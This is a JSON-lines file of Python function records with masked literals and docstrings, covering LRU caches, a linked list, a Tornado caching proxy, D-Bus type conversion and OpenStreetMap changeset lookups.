{"signature": "def translate_value(document_field, form_value):", "body": "value = form_value<EOL>if isinstance(document_field, ReferenceField):<EOL><INDENT>value = document_field.document_type.objects.get(id=form_value) if form_value else None<EOL><DEDENT>return value<EOL>", "docstring": "Given a document_field and a form_value this will translate the value\nto the correct result for mongo to use.", "id": "f4361:m1"}
{"signature": "def trim_field_key(document, field_key):", "body": "trimming = True<EOL>left_over_key_values = []<EOL>current_key = field_key<EOL>while trimming and current_key:<EOL><INDENT>if hasattr(document, current_key):<EOL><INDENT>trimming = False<EOL><DEDENT>else:<EOL><INDENT>key_array = current_key.split(\"<STR_LIT:_>\")<EOL>left_over_key_values.append(key_array.pop())<EOL>current_key = u\"<STR_LIT:_>\".join(key_array)<EOL><DEDENT><DEDENT>left_over_key_values.reverse()<EOL>return current_key, left_over_key_values<EOL>", "docstring": "Returns the smallest delimited version of field_key that\nis an attribute on document.\n\nreturn (key, left_over_array)", "id": "f4361:m2"}
{"signature": "def _spawn_memcached(sock):", "body": "p = subprocess.Popen('<STR_LIT>' + sock, shell=True)<EOL>time.sleep(<NUM_LIT>) <EOL>assert p.poll() is None <EOL>return p<EOL>", "docstring": "Helper function for tests. Spawns a memcached process attached to sock.\n    Returns Popen instance. Terminate with p.terminate().\n    Note: sock parameter is not checked, and command is executed as shell.\n    Use only if you trust that sock parameter. You've been warned.", "id": "f4366:m0"}
{"signature": "def __init__(self, initial_cache=None):", "body": "self._cache = initial_cache or {}<EOL>self._size = <NUM_LIT:0><EOL>self._hits = <NUM_LIT:0><EOL>self._misses = <NUM_LIT:0><EOL>self._order = dllist.DLL()<EOL>", "docstring": ">>> c = LRUCache()\n>>> c.stats()['size']\n0\n>>> c['key1'] = 'value1'\n>>> c.keys()\n['key1']\n>>> c['key1']\n'value1'\n>>> del c['key1']", "id": "f4367:c0:m0"}
{"signature": "def get(self, key):", "body": "try:<EOL><INDENT>value = self._cache[key]<EOL>self._order.push(key)<EOL>self._hits += <NUM_LIT:1><EOL>return value<EOL><DEDENT>except KeyError as e:<EOL><INDENT>self._misses += <NUM_LIT:1><EOL>raise<EOL><DEDENT>", "docstring": ">>> c = LRUCache()\n>>> c.get('toto')\nTraceback (most recent call last):\n    ...\nKeyError: 'toto'\n>>> c.stats()['misses']\n1\n>>> c.put('toto', 'tata')\n>>> c.get('toto')\n'tata'\n>>> c.stats()['hits']\n1", "id": "f4367:c0:m1"}
{"signature": "def put(self, key, value):", "body": "self._cache[key] = value<EOL>self._order.push(key)<EOL>self._size += <NUM_LIT:1><EOL>", "docstring": ">>> c = LRUCache()\n>>> c.put(1, 'one')\n>>> c.get(1)\n'one'\n>>> c.size()\n1\n>>> c.put(2, 'two')\n>>> c.put(3, 'three')\n>>> c.put(4, 'four')\n>>> c.put(5, 'five')\n>>> c.get(5)\n'five'\n>>> c.size()\n5", "id": "f4367:c0:m2"}
{"signature": "def delete(self, key):", "body": "del self._cache[key]<EOL>self._order.delete(key)<EOL>self._size -= <NUM_LIT:1><EOL>", "docstring": ">>> c = LRUCache()\n>>> c.put(1, 'one')\n>>> c.get(1)\n'one'\n>>> c.delete(1)\n>>> c.get(1)\nTraceback (most recent call last):\n    ...\nKeyError: 1\n>>> c.delete(1)\nTraceback (most recent call last):\n    ...\nKeyError: 1", "id": "f4367:c0:m3"}
{"signature": "def list(self):", "body": "return list(self._cache.keys())<EOL>", "docstring": ">>> c = LRUCache()\n>>> c.put(1, 'one')\n>>> c.put(2, 'two')\n>>> sorted(c.list())\n[1, 2]", "id": "f4367:c0:m4"}
{"signature": "def size(self):", "body": "return self._size<EOL>", "docstring": ">>> c = LRUCache()\n>>> c.size()\n0", "id": "f4367:c0:m6"}
{"signature": "def stats(self):", "body": "return {'<STR_LIT:size>': self._size, '<STR_LIT>': self._hits, '<STR_LIT>': self._misses}<EOL>", "docstring": ">>> c = LRUCache()\n>>> sorted(c.stats().keys())\n['hits', 'misses', 'size']", "id": "f4367:c0:m7"}
{"signature": "def __init__(self, maxmem=<NUM_LIT:64>*<NUM_LIT>):", "body": "super(MemSizeLRUCache, self).__init__()<EOL>self._maxmem = maxmem<EOL>self._mem = <NUM_LIT:0><EOL>", "docstring": ">>> c = MemSizeLRUCache()", "id": "f4367:c1:m0"}
{"signature": "def mem(self):", "body": "return self._mem<EOL>", "docstring": ">>> c = MemSizeLRUCache()\n>>> c.mem()\n0", "id": "f4367:c1:m1"}
{"signature": "def put(self, key, value):", "body": "mem = sys.getsizeof(value)<EOL>if self._mem + mem > self._maxmem:<EOL><INDENT>self.delete(self.last())<EOL><DEDENT>LRUCache.put(self, key, (value, mem))<EOL>self._mem += mem<EOL>", "docstring": ">>> c = MemSizeLRUCache(maxmem=24*4)\n>>> c.put(1, 1)\n>>> c.mem() # 24-bytes per integer\n24\n>>> c.put(2, 2)\n>>> c.put(3, 3)\n>>> c.put(4, 4)\n>>> c.get(1)\n1\n>>> c.mem()\n96\n>>> c.size()\n4\n>>> c.put(5, 5)\n>>> c.size()\n4\n>>> c.get(2)\nTraceback (most recent call last):\n    ...\nKeyError: 2", "id": "f4367:c1:m2"}
{"signature": "def delete(self, key):", "body": "(_value, mem) = LRUCache.get(self, key)<EOL>self._mem -= mem<EOL>LRUCache.delete(self, key)<EOL>", "docstring": ">>> c = MemSizeLRUCache()\n>>> c.put(1, 1)\n>>> c.mem()\n24\n>>> c.delete(1)\n>>> c.mem()\n0", "id": "f4367:c1:m4"}
{"signature": "def put(self, key, value):", "body": "<EOL>if self.size() == self._maxsize:<EOL><INDENT>self.delete(self.last())<EOL><DEDENT>LRUCache.put(self, key, value)<EOL>", "docstring": ">>> c = FixedSizeLRUCache(maxsize=5)\n>>> c.put(1, 'one')\n>>> c.get(1)\n'one'\n>>> c.size()\n1\n>>> c.put(2, 'two')\n>>> c.put(3, 'three')\n>>> c.put(4, 'four')\n>>> c.put(5, 'five')\n>>> c.get(5)\n'five'\n>>> c.size()\n5\n>>> c.put(6, 'six')\n>>> c.size()\n5\n>>> c.get(1)\nTraceback (most recent call last):\n    ...\nKeyError: 1\n>>> c.get(2)\n'two'\n>>> c.put(7, 'seven')\n>>> c.get(2)\n'two'\n>>> c.get(3)\nTraceback (most recent call last):\n    ...\nKeyError: 3", "id": "f4367:c2:m1"}
{"signature": "def __init__(self, **options):", "body": "logger.debug('<STR_LIT>' + options['<STR_LIT>'] + '<STR_LIT>')<EOL>handlers = [<EOL>(r\"<STR_LIT>\", StatusHandler),<EOL>(r\"<STR_LIT>\", ProxyHandler)<EOL>]<EOL>tornado_app_settings = {}<EOL>super(CacheSvc, self).__init__(handlers, **tornado_app_settings)<EOL>self._setoptions(options)<EOL>self._init_cache()<EOL>", "docstring": "Create new cache service. Requires the following options:\n        - driver: the cache driver to use.\n        - driver_options: driver-specific options.\n        - upstream: authoritative source for http requests.\n        - message_source: where to connect for cache control messages.", "id": "f4368:c0:m0"}
{"signature": "def upstream_url(self, uri):", "body": "return self.application.options.upstream + self.request.uri<EOL>", "docstring": "Returns the URL to the upstream data source for the given URI based on configuration", "id": "f4368:c1:m0"}
{"signature": "def cache_get(self):", "body": "key = self.cache_key()<EOL>(headers, body, expires_ts) = self.application._cache[key]<EOL>if expires_ts < time.now():<EOL><INDENT>del self.application._cache[key]<EOL>raise KeyError(key)<EOL><DEDENT>return (headers, body)<EOL>", "docstring": "Returns (headers, body) from the cache or raise KeyError", "id": "f4368:c1:m2"}
{"signature": "def make_upstream_request(self):", "body": "url = self.upstream_url(self.request.uri)<EOL>return tornado.httpclient.HTTPRequest(url,<EOL>method=self.request.method,<EOL>headers=self.request.headers,<EOL>body=self.request.body if self.request.body else None)<EOL>", "docstring": "Return request object for calling the upstream", "id": "f4368:c3:m1"}
{"signature": "def ttl(self, response):", "body": "if response.code != <NUM_LIT:200>: return <NUM_LIT:0><EOL>if not self.request.method in ['<STR_LIT:GET>', '<STR_LIT>', '<STR_LIT>']: return <NUM_LIT:0><EOL>try:<EOL><INDENT>pragma = self.request.headers['<STR_LIT>']<EOL>if pragma == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>cache_control = self.request.headers['<STR_LIT>']<EOL>for option in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if cache_control.find(option): return <NUM_LIT:0><EOL><DEDENT>options = parse_cache_control(cache_control)<EOL>try:<EOL><INDENT>return int(options['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return int(options['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>if '<STR_LIT>' in options:<EOL><INDENT>max_age = options['<STR_LIT>']<EOL>if max_age < ttl: ttl = max_age<EOL><DEDENT>if '<STR_LIT>' in options:<EOL><INDENT>max_age = options['<STR_LIT>']<EOL>if max_age < ttl: ttl = max_age<EOL><DEDENT>return ttl<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>expires = self.request.headers['<STR_LIT>']<EOL>return time.mktime(time.strptime(expires, '<STR_LIT>')) - time.time()<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Returns time to live in seconds. 0 means no caching.\n\n        Criteria:\n        - response code 200\n        - read-only method (GET, HEAD, OPTIONS)\n        Plus http headers:\n        - cache-control: option1, option2, ...\n          where options are:\n          private | public\n          no-cache\n          no-store\n          max-age: seconds\n          s-maxage: seconds\n          must-revalidate\n          proxy-revalidate\n        - expires: Thu, 01 Dec 1983 20:00:00 GMT\n        - pragma: no-cache (=cache-control: no-cache)\n\n        See http://www.mobify.com/blog/beginners-guide-to-http-cache-headers/\n\n        TODO: tests", "id": "f4368:c3:m2"}
{"signature": "def __init__(self):", "body": "self._first = None<EOL>self._last = None<EOL>self._index = {}<EOL>self._size = <NUM_LIT:0><EOL>", "docstring": ">>> l = DLL()", "id": "f4370:c0:m0"}
{"signature": "def push(self, k):", "body": "if not self._first:<EOL><INDENT>self._first = self._last = node = DLL.Node(k)<EOL><DEDENT>elif self._first.value == k:<EOL><INDENT>return<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.delete(k) <EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>self._first = node = self._first.insert_before(k)<EOL><DEDENT>self._index[k] = node<EOL>self._size += <NUM_LIT:1><EOL>", "docstring": "Push k to the top of the list\n\n        >>> l = DLL()\n        >>> l.push(1)\n        >>> l\n        [1]\n        >>> l.push(2)\n        >>> l\n        [2, 1]\n        >>> l.push(3)\n        >>> l\n        [3, 2, 1]", "id": "f4370:c0:m1"}
{"signature": "def delete(self, k):", "body": "self.deletenode(self._index[k])<EOL>", "docstring": ">>> l = DLL()\n>>> l.push(1)\n>>> l.delete(1)\n>>> l\n[]\n>>> l.push(1)\n>>> l.push(2)\n>>> l.push(3)\n>>> l\n[3, 2, 1]\n>>> l.delete(2)\n>>> l\n[3, 1]", "id": "f4370:c0:m2"}
{"signature": "def deletenode(self, node):", "body": "if self._last == node:<EOL><INDENT>self._last = node.previous<EOL><DEDENT>if self._first == node:<EOL><INDENT>self._first = node.next<EOL><DEDENT>node.pop()<EOL>del self._index[node.value]<EOL>self._size -= <NUM_LIT:1><EOL>", "docstring": ">>> l = DLL()\n>>> l.push(1)\n>>> l\n[1]\n>>> l.size()\n1\n>>> l.deletenode(l._first)\n>>> l\n[]\n>>> l.size()\n0\n>>> l._index\n{}\n>>> l._first", "id": "f4370:c0:m3"}
{"signature": "def pop(self):", "body": "k = self._last.value<EOL>self.deletenode(self._last)<EOL>return k<EOL>", "docstring": ">>> l = DLL()\n>>> l.push(1)\n>>> l.pop()\n1", "id": "f4370:c0:m4"}
{"signature": "def last(self):", "body": "return self._last<EOL>", "docstring": ">>> l = DLL()\n>>> l.last()", "id": "f4370:c0:m5"}
{"signature": "def first(self):", "body": "return self._first<EOL>", "docstring": ">>> l = DLL()\n>>> l.first()", "id": "f4370:c0:m6"}
{"signature": "def size(self):", "body": "return self._size<EOL>", "docstring": ">>> l = DLL()\n>>> l.size()\n0", "id": "f4370:c0:m7"}
{"signature": "def __iter__(self):", "body": "return DLL.Iterator(self._first)<EOL>", "docstring": "Return iterator object\n        >>> l = DLL()\n        >>> [x for x in l]\n        []\n        >>> for x in xrange(10): l.push(x)\n        >>> [x for x in l]\n        [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]", "id": "f4370:c0:m8"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT:[>' + '<STR_LIT:U+002CU+0020>'.join((str(x) for x in self)) + '<STR_LIT:]>'<EOL>", "docstring": "Returns string representation of the list\n        >>> l = DLL()\n        >>> str(l)\n        '[]'\n        >>> for x in xrange(10): l.push(x)\n        >>> str(l)\n        '[9, 8, 7, 6, 5, 4, 3, 2, 1, 0]'", "id": "f4370:c0:m9"}
{"signature": "def __repr__(self):", "body": "return str(self)<EOL>", "docstring": ">>> l = DLL()\n>>> repr(l)\n'[]'", "id": "f4370:c0:m10"}
{"signature": "def _descending(dbus_object):", "body": "<EOL>if isinstance(dbus_object, dbus.Dictionary):<EOL><INDENT>key_levels = [_descending(x) for x in dbus_object.keys()]<EOL>value_levels = [_descending(x) for x in dbus_object.values()]<EOL>if any(k is None for k in key_levels) orany(v is None for v in value_levels):<EOL><INDENT>return None<EOL><DEDENT>max_key_level = max(key_levels) if key_levels != [] else <NUM_LIT:0><EOL>max_value_level = max(value_levels) if value_levels != [] else <NUM_LIT:0><EOL>max_level = max(max_key_level, max_value_level)<EOL>variant_level = dbus_object.variant_level<EOL>if variant_level == <NUM_LIT:0>:<EOL><INDENT>return max_level<EOL><DEDENT>return None if variant_level < max_level + <NUM_LIT:1> else variant_level<EOL><DEDENT>if isinstance(dbus_object, (dbus.Array, dbus.Struct)):<EOL><INDENT>levels = [_descending(x) for x in dbus_object]<EOL>if any(l is None for l in levels):<EOL><INDENT>return None<EOL><DEDENT>max_level = max(levels) if levels != [] else <NUM_LIT:0><EOL>variant_level = dbus_object.variant_level<EOL>if variant_level == <NUM_LIT:0>:<EOL><INDENT>return max_level<EOL><DEDENT>return None if variant_level < max_level + <NUM_LIT:1> else variant_level<EOL><DEDENT>return dbus_object.variant_level<EOL>", "docstring": "Verify levels of variant values always descend.\n\n:param object dbus_object: a dbus object\n:returns: None if there was a failure of the property, otherwise the level\n:rtype: int or NoneType\n\nNone is a better choice than False, for 0, a valid variant level, is always\ninterpreted as False.", "id": "f4371:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _handle_array(toks):<DEDENT>", "body": "if len(toks) == <NUM_LIT:5> and toks[<NUM_LIT:1>] == '<STR_LIT:{>' and toks[<NUM_LIT:4>] == '<STR_LIT:}>':<EOL><INDENT>return strategies.dictionaries(<EOL>keys=toks[<NUM_LIT:2>], values=toks[<NUM_LIT:3>], max_size=<NUM_LIT:20>)<EOL><DEDENT>if len(toks) == <NUM_LIT:2>:<EOL><INDENT>return strategies.lists(elements=toks[<NUM_LIT:1>], max_size=<NUM_LIT:20>)<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Generate the correct strategy for an array signature.\n\n:param toks: the list of parsed tokens\n:returns: strategy that generates an array or dict as appropriate\n:rtype: strategy", "id": "f4371:c0:m0"}
{"signature": "def get_parser():", "body": "parser = argparse.ArgumentParser()<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>choices=arg_map.keys(),<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>return parser<EOL>", "docstring": "Generate an appropriate parser.\n\n:returns: an argument parser\n:rtype: `ArgumentParser`", "id": "f4372:m0"}
{"signature": "def get_command(namespace):", "body": "cmd = [\"<STR_LIT>\", namespace.package] + arg_map[namespace.package]<EOL>if namespace.ignore:<EOL><INDENT>cmd.append(\"<STR_LIT>\" % namespace.ignore)<EOL><DEDENT>return cmd<EOL>", "docstring": "Get the pylint command for these arguments.\n\n:param `Namespace` namespace: the namespace", "id": "f4372:m1"}
{"signature": "def _wrapper(func):", "body": "@functools.wraps(func)<EOL>def the_func(expr):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>return func(expr)<EOL><DEDENT>except (TypeError, ValueError) as err:<EOL><INDENT>raise IntoDPValueError(expr, \"<STR_LIT>\", \"<STR_LIT>\")from err<EOL><DEDENT><DEDENT>return the_func<EOL>", "docstring": "Wraps a generated function so that it catches all Type- and ValueErrors\nand raises IntoDPValueErrors.\n\n:param func: the transforming function", "id": "f4373:m0"}
{"signature": "def xformers(sig):", "body": "return[(_wrapper(f), l) for (f, l) in_XFORMER.PARSER.parseString(sig, parseAll=True)]<EOL>", "docstring": "Get the list of xformer functions for the given signature.\n\n:param str sig: a signature\n:returns: a list of xformer functions for the given signature.\n:rtype: list of tuple of a function * str\n\nEach function catches all TypeErrors it encounters and raises\ncorresponding IntoDPValueError exceptions.", "id": "f4373:m1"}
{"signature": "def xformer(signature):", "body": "funcs = [f for (f, _) in xformers(signature)]<EOL>def the_func(objects):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if len(objects) != len(funcs):<EOL><INDENT>raise IntoDPValueError(<EOL>objects,<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" %(len(funcs), len(objects))<EOL>)<EOL><DEDENT>return [x for (x, _) in (f(a) for (f, a) in zip(funcs, objects))]<EOL><DEDENT>return the_func<EOL>", "docstring": "Returns a transformer function for the given signature.\n\n:param str signature: a dbus signature\n:returns: a function to transform a list of objects to inhabit the signature\n:rtype: (list of object) -> (list of object)", "id": "f4373:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _variant_levels(level, variant):<DEDENT>", "body": "return (level + variant, level + variant)if variant != <NUM_LIT:0> else (variant, level)<EOL>", "docstring": "Gets the level for the variant.\n\n:param int level: the current variant level\n:param int variant: the value for this level if variant\n\n:returns: a level for the object and one for the function\n:rtype: int * int", "id": "f4373:c0:m0"}
{"signature": "def _handle_variant(self):", "body": "def the_func(a_tuple, variant=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>(signature, an_obj) = a_tuple<EOL>(func, sig) = self.COMPLETE.parseString(signature)[<NUM_LIT:0>]<EOL>assert sig == signature<EOL>(xformed, _) = func(an_obj, variant=variant + <NUM_LIT:1>)<EOL>return (xformed, xformed.variant_level)<EOL><DEDENT>return (the_func, '<STR_LIT:v>')<EOL>", "docstring": "Generate the correct function for a variant signature.\n\n:returns: function that returns an appropriate value\n:rtype: ((str * object) or list)-> object", "id": "f4373:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _handle_array(toks):<DEDENT>", "body": "if len(toks) == <NUM_LIT:5> and toks[<NUM_LIT:1>] == '<STR_LIT:{>' and toks[<NUM_LIT:4>] == '<STR_LIT:}>':<EOL><INDENT>subtree = toks[<NUM_LIT:2>:<NUM_LIT:4>]<EOL>signature = '<STR_LIT>'.join(s for (_, s) in subtree)<EOL>[key_func, value_func] = [f for (f, _) in subtree]<EOL>def the_dict_func(a_dict, variant=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>elements =[(key_func(x), value_func(y)) for (x, y) in a_dict.items()]<EOL>level = <NUM_LIT:0> if elements == []else max(max(x, y) for ((_, x), (_, y)) in elements)<EOL>(obj_level, func_level) =_ToDbusXformer._variant_levels(level, variant)<EOL>return (dbus.types.Dictionary(<EOL>((x, y) for ((x, _), (y, _)) in elements),<EOL>signature=signature,<EOL>variant_level=obj_level), func_level)<EOL><DEDENT>return (the_dict_func, '<STR_LIT>' + signature + '<STR_LIT:}>')<EOL><DEDENT>if len(toks) == <NUM_LIT:2>:<EOL><INDENT>(func, sig) = toks[<NUM_LIT:1>]<EOL>def the_array_func(a_list, variant=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if isinstance(a_list, dict):<EOL><INDENT>raise IntoDPValueError(a_list, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT>elements = [func(x) for x in a_list]<EOL>level = <NUM_LIT:0> if elements == [] else max(x for (_, x) in elements)<EOL>(obj_level, func_level) =_ToDbusXformer._variant_levels(level, variant)<EOL>return (dbus.types.Array(<EOL>(x for (x, _) in elements),<EOL>signature=sig,<EOL>variant_level=obj_level), func_level)<EOL><DEDENT>return (the_array_func, '<STR_LIT:a>' + sig)<EOL><DEDENT>raise IntoDPValueError(toks, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Generate the correct function for an array signature.\n\n:param toks: the list of parsed tokens\n:returns: function that returns an Array or Dictionary value\n:rtype: ((or list dict) -> ((or Array Dictionary) * int)) * str", "id": "f4373:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _handle_struct(toks):<DEDENT>", "body": "subtrees = toks[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>signature = '<STR_LIT>'.join(s for (_, s) in subtrees)<EOL>funcs = [f for (f, _) in subtrees]<EOL>def the_func(a_list, variant=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if isinstance(a_list, dict):<EOL><INDENT>raise IntoDPValueError(a_list, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len(a_list) != len(funcs):<EOL><INDENT>raise IntoDPValueError(<EOL>a_list,<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" %(len(funcs), len(a_list))<EOL>)<EOL><DEDENT>elements = [f(x) for (f, x) in zip(funcs, a_list)]<EOL>level = <NUM_LIT:0> if elements == [] else max(x for (_, x) in elements)<EOL>(obj_level, func_level) =_ToDbusXformer._variant_levels(level, variant)<EOL>return (dbus.types.Struct(<EOL>(x for (x, _) in elements),<EOL>signature=signature,<EOL>variant_level=obj_level), func_level)<EOL><DEDENT>return (the_func, '<STR_LIT:(>' + signature + '<STR_LIT:)>')<EOL>", "docstring": "Generate the correct function for a struct signature.\n\n:param toks: the list of parsed tokens\n:returns: function that returns an Array or Dictionary value\n:rtype: ((list or tuple) -> (Struct * int)) * str", "id": "f4373:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _handle_base_case(klass, symbol):<DEDENT>", "body": "def the_func(value, variant=<NUM_LIT:0>):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>(obj_level, func_level) = _ToDbusXformer._variant_levels(<EOL><NUM_LIT:0>, variant)<EOL>return (klass(value, variant_level=obj_level), func_level)<EOL><DEDENT>return lambda: (the_func, symbol)<EOL>", "docstring": "Handle a base case.\n\n:param type klass: the class constructor\n:param str symbol: the type code", "id": "f4373:c0:m4"}
{"signature": "def signature(dbus_object, unpack=False):", "body": "<EOL>if dbus_object.variant_level != <NUM_LIT:0> and not unpack:<EOL><INDENT>return '<STR_LIT:v>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Array):<EOL><INDENT>sigs = frozenset(signature(x) for x in dbus_object)<EOL>len_sigs = len(sigs)<EOL>if len_sigs > <NUM_LIT:1>:  <EOL><INDENT>raise IntoDPValueError(dbus_object, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len_sigs == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:a>' + dbus_object.signature<EOL><DEDENT>return '<STR_LIT:a>' + [x for x in sigs][<NUM_LIT:0>]<EOL><DEDENT>if isinstance(dbus_object, dbus.Struct):<EOL><INDENT>sigs = (signature(x) for x in dbus_object)<EOL>return '<STR_LIT:(>' + \"<STR_LIT>\".join(x for x in sigs) + '<STR_LIT:)>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Dictionary):<EOL><INDENT>key_sigs = frozenset(signature(x) for x in dbus_object.keys())<EOL>value_sigs = frozenset(signature(x) for x in dbus_object.values())<EOL>len_key_sigs = len(key_sigs)<EOL>len_value_sigs = len(value_sigs)<EOL>if len_key_sigs != len_value_sigs:  <EOL><INDENT>raise IntoDPValueError(dbus_object, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len_key_sigs > <NUM_LIT:1>:  <EOL><INDENT>raise IntoDPValueError(dbus_object, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len_key_sigs == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>' + dbus_object.signature + '<STR_LIT:}>'<EOL><DEDENT>return '<STR_LIT>' + [x for x in key_sigs][<NUM_LIT:0>] + [x<EOL>for x in value_sigs][<NUM_LIT:0>] + '<STR_LIT:}>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Boolean):<EOL><INDENT>return '<STR_LIT:b>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Byte):<EOL><INDENT>return '<STR_LIT:y>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Double):<EOL><INDENT>return '<STR_LIT:d>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Int16):<EOL><INDENT>return '<STR_LIT:n>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Int32):<EOL><INDENT>return '<STR_LIT:i>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Int64):<EOL><INDENT>return '<STR_LIT:x>'<EOL><DEDENT>if isinstance(dbus_object, dbus.ObjectPath):<EOL><INDENT>return '<STR_LIT:o>'<EOL><DEDENT>if isinstance(dbus_object, dbus.Signature):<EOL><INDENT>return '<STR_LIT:g>'<EOL><DEDENT>if isinstance(dbus_object, dbus.String):<EOL><INDENT>return '<STR_LIT:s>'<EOL><DEDENT>if isinstance(dbus_object, dbus.UInt16):<EOL><INDENT>return '<STR_LIT:q>'<EOL><DEDENT>if isinstance(dbus_object, dbus.UInt32):<EOL><INDENT>return '<STR_LIT:u>'<EOL><DEDENT>if isinstance(dbus_object, dbus.UInt64):<EOL><INDENT>return '<STR_LIT:t>'<EOL><DEDENT>if isinstance(dbus_object, dbus.types.UnixFd):  <EOL><INDENT>return '<STR_LIT:h>'<EOL><DEDENT>raise IntoDPValueError(dbus_object, \"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Get the signature of a dbus object.\n\n:param dbus_object: the object\n:type dbus_object: a dbus object\n:param bool unpack: if True, unpack from enclosing variant type\n:returns: the corresponding signature\n:rtype: str", "id": "f4375:m0"}
{"signature": "def __init__(self, value, param, msg=None):  ", "body": "<EOL>self._value = value<EOL>self._param = param<EOL>self._msg = msg<EOL>", "docstring": "Initializer.\n\n            :param object value: the value\n            :param str param: the parameter\n            :param str msg: an explanatory message", "id": "f4376:c1:m0"}
{"signature": "def get_user_details(user_id):", "body": "reasons = []<EOL>try:<EOL><INDENT>url = OSM_USERS_API.format(user_id=requests.compat.quote(user_id))<EOL>user_request = requests.get(url)<EOL>if user_request.status_code == <NUM_LIT:200>:<EOL><INDENT>user_data = user_request.content<EOL>xml_data = ET.fromstring(user_data).getchildren()[<NUM_LIT:0>].getchildren()<EOL>changesets = [i for i in xml_data if i.tag == '<STR_LIT>'][<NUM_LIT:0>]<EOL>blocks = [i for i in xml_data if i.tag == '<STR_LIT>'][<NUM_LIT:0>]<EOL>if int(changesets.get('<STR_LIT:count>')) <= <NUM_LIT:5>:<EOL><INDENT>reasons.append('<STR_LIT>')<EOL><DEDENT>elif int(changesets.get('<STR_LIT:count>')) <= <NUM_LIT:30>:<EOL><INDENT>url = MAPBOX_USERS_API.format(<EOL>user_id=requests.compat.quote(user_id)<EOL>)<EOL>user_request = requests.get(url)<EOL>if user_request.status_code == <NUM_LIT:200>:<EOL><INDENT>mapping_days = int(<EOL>user_request.json().get('<STR_LIT>').get('<STR_LIT>')<EOL>)<EOL>if mapping_days <= <NUM_LIT:5>:<EOL><INDENT>reasons.append('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if int(blocks.getchildren()[<NUM_LIT:0>].get('<STR_LIT:count>')) > <NUM_LIT:1>:<EOL><INDENT>reasons.append('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>message = '<STR_LIT>'<EOL>print(message.format(user_id, str(e)))<EOL><DEDENT>return reasons<EOL>", "docstring": "Get information about number of changesets, blocks and mapping days of a\n    user, using both the OSM API and the Mapbox comments APIself.", "id": "f4379:m0"}
{"signature": "def changeset_info(changeset):", "body": "keys = [tag.attrib.get('<STR_LIT:k>') for tag in changeset.getchildren()]<EOL>keys += ['<STR_LIT:id>', '<STR_LIT:user>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>values = [tag.attrib.get('<STR_LIT:v>') for tag in changeset.getchildren()]<EOL>values += [<EOL>changeset.get('<STR_LIT:id>'), changeset.get('<STR_LIT:user>'), changeset.get('<STR_LIT>'),<EOL>get_bounds(changeset), changeset.get('<STR_LIT>')<EOL>]<EOL>return dict(zip(keys, values))<EOL>", "docstring": "Return a dictionary with id, user, user_id, bounds, date of creation\n    and all the tags of the changeset.\n\n    Args:\n        changeset: the XML string of the changeset.", "id": "f4379:m1"}
{"signature": "def get_changeset(changeset):", "body": "url = '<STR_LIT>'.format(<EOL>changeset<EOL>)<EOL>return ET.fromstring(requests.get(url).content)<EOL>", "docstring": "Get the changeset using the OSM API and return the content as a XML\n    ElementTree.\n\n    Args:\n        changeset: the id of the changeset.", "id": "f4379:m2"}
